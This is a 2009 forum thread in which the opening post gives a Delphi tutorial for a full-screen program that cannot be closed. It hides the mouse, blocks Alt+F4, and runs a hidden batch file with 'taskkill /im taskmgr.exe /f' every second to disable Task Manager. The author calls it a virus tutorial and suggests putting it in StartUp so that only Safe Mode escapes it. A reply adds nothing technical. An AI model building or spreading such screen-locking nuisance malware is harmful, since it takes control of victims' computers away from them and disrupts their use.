|
How to simply make a program in Delphi that you can not close
|
|
11-25-2009, 07:49 AM
Post: #1
|
|||
|
|||
|
How to simply make a program in Delphi that you can not close
So this is tut on how to make a program that you can not close using standard methods (except restart). I remember when XIO-X2 was showing me this kind of tricks few years ago. This tutorial can be considered as Virus making tutorial, but this is only for teaching purposes and you can use this as a joke. This tut is for programmers that know basics of Delphi, because i didn't explain every single fact. I used Delphi 7 for this.
So this program will make whole screen black and mouse invisible, Alt+F4 would not work and Ctrl+Alt+Del would not work also, so restart is going to be main. First of all you need to open Delphi and then we need to set full screen. So go to Object Inspector and set this parameters : Code: WindowState:=wsMaximized;And to disable Mouse we will use this code and input that in "Form Create" : Code: ShowCursor(False);Code: procedure TForm1.FormCreate(Sender: TObject);Okay now we need to disable Alt+F4, or to prevent program from closing. Since whole program has only this Form and that Form is main, we need to prevent that Form from closing. Now go to Object Inspector of Form1 and click Events, there you should find "OnClose", so just double click on it and you should get part where you need to put your code. You should type there next thing : Code: Action:=caNone;Code: procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);Now after this part we need to make Ctrl+Alt+Del disable, but we will make an exit from program to prevent that Virus making it's job on us LOL. We really don't want to infect us with our own virus. Go to Form1 Object Inspector and find Events and "OnKeyDown" and paste this code there : Code: if key=vk_f1 thenCode: procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);Code: taskkill /im taskmgr.exe /fNow if we run that batch file every second it will kill "taskmgr.exe" every second and nobody can do anything in that little time. First we need to make the code that runs this batch. Go to Standard Palette and drag on form "ActionList". When you drag it double click on it and go to "New Standard Action", you can see that on the picture : ![]() After that you need to register class "TFileRun" as you can see on the picture : ![]() Now in the Object Tree View that is above Object Inspector by Default you can see "FileRun1". Now click on it to get it in the Object Inspector and in the file name specify "kill.bat". Now go to ShowCmd in Object Inspector and choose scHide. That should look like this : ![]() Now as we said we need to make it to run every second. Go to System Palette and drag Timer on to form. After that we need to write a code for running and that is "FileRun1" execution or : Code: FileRun1.Execute;Code: procedure TForm1.Timer1Timer(Sender: TObject);![]() You have my code inside of attachment if you don't want to type your one. In my code F1 closes the program. Hope that you like this tut, as i said this is for teaching purposes, you can use it as a joke. You can change the code by your own and add something written on the Form and paste it on StartUp, so it will run if computer runs. But that is dangerous if you don't make escape key (in my case F1), then only entrance is running Safe Mode of Windows. Enjoy ! "I dont know with what weapons World War 3 will be fought with, but i know World War 4 will be fought with stones and sticks" - Albert Einstein |
|||
|
11-25-2009, 08:53 AM
Post: #2
|
|||
|
|||
|
RE: How to simply make a program in Delphi that you can not close
i think you showed me things like this before.
i think i forgot all i knew in delphi. ![]()
|
|||
|
« Next Oldest | Next Newest »
|




![[Image: 20695_standardactionsdelphi1.jpg]](http://myph.us/pics/20695_standardactionsdelphi1.jpg)
![[Image: 20696_standardactionsdelphi2.jpg]](http://myph.us/pics/20696_standardactionsdelphi2.jpg)
![[Image: 20709_objectinspectordelphi.jpg]](http://myph.us/pics/20709_objectinspectordelphi.jpg)
![[Image: 20714_projfiles.jpg]](http://myph.us/pics/20714_projfiles.jpg)





![[Image: 45669_pythonlogo.png]](http://myph.us/pics/45669_pythonlogo.png)